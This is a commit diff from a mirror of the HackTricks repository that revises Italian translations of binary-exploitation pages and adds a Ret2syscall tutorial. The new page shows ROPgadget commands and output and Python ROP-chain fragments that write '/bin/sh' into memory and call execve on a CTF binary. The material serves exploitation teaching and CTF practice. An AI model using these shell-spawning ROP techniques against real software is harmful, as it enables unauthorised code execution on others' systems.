mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
Translator
parent
19068379f0
commit
8d8036aaf3
8 changed files with 385 additions and 49 deletions
|
|
@ -706,7 +706,8 @@
|
|||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
|
|
|
|||
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base su ELF
|
||||
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **binario ELF**:
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante capire parte della struttura di un **binario ELF**:
|
||||
|
||||
{% content-ref url="elf-tricks.md" %}
|
||||
[elf-tricks.md](elf-tricks.md)
|
||||
|
|
@ -30,32 +30,32 @@ Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte
|
|||
|
||||
## Metodologia dello stack overflow
|
||||
|
||||
Con così tante tecniche, è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. È possibile trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia.
|
||||
Con così tante tecniche è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno diverse tecniche. È possibile trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia.
|
||||
|
||||
## Controllo del flusso
|
||||
|
||||
Ci sono diversi modi in cui potresti finire per controllare il flusso di un programma:
|
||||
|
||||
* [**Sovrascrittura dello stack**](../stack-overflow/) del puntatore di ritorno dallo stack o dell'EBP -> ESP -> EIP.
|
||||
* Potrebbe essere necessario abusare di un [**Overflow di interi**](../integer-overflow.md) per causare l'overflow
|
||||
* Oppure tramite **Scritture arbitrarie + Scrivi cosa dove all'esecuzione**
|
||||
* [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
|
||||
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
|
||||
* Oppure tramite **Scritture Arbitrarie + Write What Where to Execution**
|
||||
* [**Stringhe di formato**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
|
||||
* [**Indicizzazione di array**](../array-indexing.md): Abusare di un'indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria.
|
||||
* Potrebbe essere necessario abusare di un [**Overflow di interi**](../integer-overflow.md) per causare l'overflow
|
||||
* **bof a WWW tramite ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
|
||||
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
|
||||
* **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
|
||||
|
||||
È possibile trovare le tecniche di **Scrivi cosa dove all'esecuzione** in:
|
||||
È possibile trovare le tecniche di **Write What Where to Execution** in:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Loop eterni
|
||||
## Cicli eterni
|
||||
|
||||
Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di una vulnerabilità potrebbe non essere sufficiente** per eseguire con successo un exploit, specialmente se alcune protezioni devono essere aggirate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
|
||||
|
||||
* Scrivere in una catena **ROP** l'indirizzo della funzione **`main`** o l'indirizzo in cui si verifica la **vulnerabilità**.
|
||||
* Controllando una catena ROP corretta potresti essere in grado di eseguire tutte le azioni in quella catena
|
||||
* Scrivere in una catena **ROP** l'indirizzo della funzione **`main`** o all'indirizzo in cui si verifica la **vulnerabilità**.
|
||||
* Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena
|
||||
* Scrivere l'indirizzo di **`exit` in GOT** (o di qualsiasi altra funzione utilizzata dal binario prima della fine) per tornare all'indirizzo della vulnerabilità
|
||||
* Come spiegato in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per richiamare nuovamente la vulnerabilità e un'altra per richiamare**`__libc_csu_fini`** che richiamerà nuovamente la funzione da `.fini_array`.
|
||||
|
||||
|
|
@ -67,11 +67,11 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* In un **bof regolare senza** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) devi solo scrivere l'indirizzo nell'indirizzo di ritorno memorizzato nello stack.
|
||||
* In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), dovrai aggirarlo
|
||||
* In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), dovrai aggirarlo
|
||||
* Se devi impostare diversi parametri per chiamare correttamente la funzione **ret2win** puoi usare:
|
||||
* Se è necessario impostare diversi parametri per chiamare correttamente la funzione **ret2win** puoi usare:
|
||||
* Una catena [**ROP**](./#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (nel caso in cui puoi chiamare questa syscall) per controllare molti registri
|
||||
* Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri
|
||||
* Attraverso un [**Scrivi cosa dove all'esecuzione**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
|
||||
* Attraverso un [**Write What Where**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
|
||||
* [**Reindirizzamento dei puntatori**](../stack-overflow/pointer-redirecting.md): Nel caso lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi.
|
||||
* [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
|
|
@ -83,12 +83,12 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* [**(Stack) Shellcode**](./#stack-shellcode): Questo è utile per memorizzare uno shellcode nello stack prima o dopo la sovrascrittura del puntatore di ritorno e quindi **saltare ad esso** per eseguirlo:
|
||||
* **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in un bof regolare dovrai aggirarlo (leak)
|
||||
* **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai
|
||||
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) avrai bisogno di tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltarci
|
||||
* **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando ad esempio read) e quindi saltare lì.
|
||||
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltarci
|
||||
* **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai utilizzare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando ad esempio read) e poi saltare lì.
|
||||
* Questo mescolerà lo shellcode con una catena ROP.
|
||||
#### Attraverso le syscalls
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Utile per chiamare `execve` per eseguire comandi arbitrari. È necessario essere in grado di trovare i **gadget per chiamare la syscall specifica con i parametri**.
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile per chiamare `execve` per eseguire comandi arbitrari. È necessario essere in grado di trovare i **gadget per chiamare la syscall specifica con i parametri**.
|
||||
* Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) sono abilitati, sarà necessario sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) può essere utile per preparare il **ret2execve**
|
||||
* Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri
|
||||
|
|
@ -98,8 +98,8 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad es. `'/bin/sh'`). È necessario che il binario **carichi la libreria** con la funzione che si desidera chiamare (di solito libc).
|
||||
* Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**indirizzo** di `system` e `/bin/sh` non cambieranno, quindi è possibile utilizzarli staticamente.
|
||||
* **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambieranno, quindi è possibile utilizzarli staticamente.
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conoscendo la libc e con il binario che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nei parametri (dovrai risolvere questo).
|
||||
* Con [ASLR](../common-binary-protections-and-bypasses/aslr/) ma senza [PIE](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e **senza che il binario utilizzi la funzione `system`**:
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e con il binario che utilizza la funzione `system` è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nei parametri (è necessario capire questo).
|
||||
* Con [ASLR](../common-binary-protections-and-bypasses/aslr/) ma senza [PIE](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e **senza che il binario utilizzi il `system`**:
|
||||
* Utilizzare [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo 
|
||||
* **Eludere** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcolare l'indirizzo di `system` e `'/bin/sh'` in memoria.
|
||||
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e senza conoscere la libc**: È necessario:
|
||||
|
|
@ -110,7 +110,7 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
#### Attraverso EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlla l'ESP per controllare RET attraverso l'EBP memorizzato nello stack.
|
||||
* Utile per **overflow dello stack di uno**
|
||||
* Utile per stack overflow **off-by-one**
|
||||
* Utile come modo alternativo per controllare EIP mentre si abusa di EIP per costruire il payload in memoria e quindi saltare ad esso tramite EBP
|
||||
|
||||
#### Varie
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
|
@ -22,12 +22,12 @@ Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella termi
|
|||
|
||||
* È possibile utilizzare tecniche come [**ROP**](../rop-return-oriented-programing/) **per aggirare** questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
|
|
|||
|
|
@ -28,7 +28,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
Tipicamente, i gadget possono essere trovati utilizzando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o direttamente da **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## Esempio di ROP Chain in x86
|
||||
## ROP Chain in Esempio x86
|
||||
|
||||
### **Convenzioni di Chiamata x86 (32-bit)**
|
||||
|
||||
|
|
@ -147,7 +147,7 @@ In questo esempio:
|
|||
|
||||
### Allineamento dello Stack
|
||||
|
||||
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione call**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP.
|
||||
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate alle funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP.
|
||||
|
||||
## Differenza principale tra x86 e x64
|
||||
|
||||
|
|
@ -157,9 +157,9 @@ Poiché **x64 utilizza registri per i primi argomenti**, spesso richiede meno ga
|
|||
|
||||
## Esempio di catena ROP in ARM64
|
||||
|
||||
### **Principi di base di ARM64 e convenzioni di chiamata**
|
||||
### **Principi di base e convenzioni di chiamata ARM64**
|
||||
|
||||
Controlla la seguente pagina per queste informazioni:
|
||||
Controlla la seguente pagina per questa informazione:
|
||||
|
||||
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
|
@ -175,7 +175,7 @@ Controlla la seguente pagina per queste informazioni:
|
|||
|
||||
## Tecniche basate su ROP
|
||||
|
||||
Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP sono state sviluppate molte tecniche Ret2XXX:
|
||||
Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP, sono state sviluppate molte tecniche Ret2XXX:
|
||||
|
||||
* **Ret2lib**: Utilizza la ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
|
||||
|
||||
|
|
@ -185,8 +185,8 @@ Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su
|
|||
|
||||
* **Ret2Syscall**: Utilizza la ROP per preparare una chiamata a una syscall, ad es. `execve`, e far eseguire comandi arbitrari.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret & EBP Chaining**: Il primo sfrutterà EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib ma in questo caso il flusso è controllato principalmente con gli indirizzi EBP (anche se è necessario controllare anche EIP).
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -25,7 +25,7 @@ Pertanto, è possibile **falsificare tutte queste strutture** per fare in modo c
|
|||
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate affinché vengano memorizzate da read in una posizione conosciuta, e quindi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendolo **risolvere l'indirizzo di `system`** nelle strutture fittizie e **chiamando questo indirizzo** con l'indirizzo di `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv.md) o [SROP](srop-sigreturn-oriented-programming.md)) e non ci sono modi per rilevare gli indirizzi delle librerie.
|
||||
Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming.md)) e non ci sono modi per rilevare gli indirizzi della libc.
|
||||
{% endhint %}
|
||||
|
||||
Puoi trovare una spiegazione più dettagliata su questa tecnica nella seconda metà del video:
|
||||
|
|
@ -38,11 +38,11 @@ Puoi trovare una spiegazione più dettagliata su questa tecnica nella seconda me
|
|||
|
||||
## Riassunto dell'Attacco
|
||||
|
||||
1. Scrivi strutture fittizie in qualche luogo
|
||||
1. Scrivi strutture fittizie in qualche posto
|
||||
2. Imposta il primo argomento di system (`$rdi = &'/bin/sh'`)
|
||||
3. Imposta nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
|
||||
4. **Chiama** `_dl_runtime_resolve`
|
||||
5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
|
||||
5. **`system`** sarà risolto e chiamato con `'/bin/sh'` come argomento
|
||||
|
||||
## Esempio
|
||||
|
||||
|
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32 bit, senza relro, senza canary, nx, senza pie, buffer overflow di base e ritorno. Per sfruttarlo, il buffer overflow viene utilizzato per chiamare `read` nuovamente con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fittizie di `dlresolve` per caricare `system`, tornare a main e ri-abusare del buffer overflow iniziale per chiamare dlresolve e quindi `system('/bin/sh')`.
|
||||
* 32 bit, senza relro, senza canary, nx, senza pie, buffer overflow di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` nuovamente con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, ritornare a main e ri-abusare del bof iniziale per chiamare dlresolve e quindi `system('/bin/sh')`.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,190 @@
|
|||
# Ret2syscall
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall `sys_execve` con alcuni argomenti per eseguire `/bin/sh`. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.
|
||||
|
||||
Per preparare la chiamata alla **syscall** è necessaria la seguente configurazione:
|
||||
|
||||
* `rax: 59 Specifica sys_execve`
|
||||
* `rdi: ptr a "/bin/sh" specifica il file da eseguire`
|
||||
* `rsi: 0 specifica che non vengono passati argomenti`
|
||||
* `rdx: 0 specifica che non vengono passate variabili di ambiente`
|
||||
|
||||
Quindi, fondamentalmente è necessario scrivere la stringa `/bin/sh` da qualche parte e quindi eseguire la `syscall` (avendo cura del padding necessario per controllare lo stack). Per fare ciò, abbiamo bisogno di un gadget per scrivere `/bin/sh` in un'area conosciuta.
|
||||
|
||||
{% hint style="success" %}
|
||||
Un'altra syscall interessante da chiamare è **`mprotect`** che consentirebbe a un attaccante di **modificare le autorizzazioni di una pagina in memoria**. Questo può essere combinato con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
{% endhint %}
|
||||
|
||||
## Gadget dei registri
|
||||
|
||||
Iniziamo trovando **come controllare quei registri**:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Con questi indirizzi è possibile **scrivere il contenuto nello stack e caricarlo nei registri**.
|
||||
|
||||
## Scrivere una stringa
|
||||
|
||||
### Memoria scrivibile
|
||||
|
||||
Prima è necessario trovare un luogo scrivibile in memoria
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Scrivere una stringa in memoria
|
||||
|
||||
Successivamente è necessario trovare un modo per scrivere contenuti arbitrari in questo indirizzo
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Automatizzare la catena ROP
|
||||
|
||||
Il comando seguente crea una catena ROP completa per `sys_execve` dato un binario statico quando sono presenti gadget write-what-where e istruzioni syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
#### 32 bit
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
|
||||
rop += popRdx # place value into EAX
|
||||
rop += "/bin" # 4 bytes at a time
|
||||
rop += popRax # place value into edx
|
||||
rop += p32(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
|
||||
rop += popRdx
|
||||
rop += "//sh"
|
||||
rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
#### 64 bit
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Gadget Mancanti
|
||||
|
||||
Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi utilizzare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e i registri dei parametri) dallo stack:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
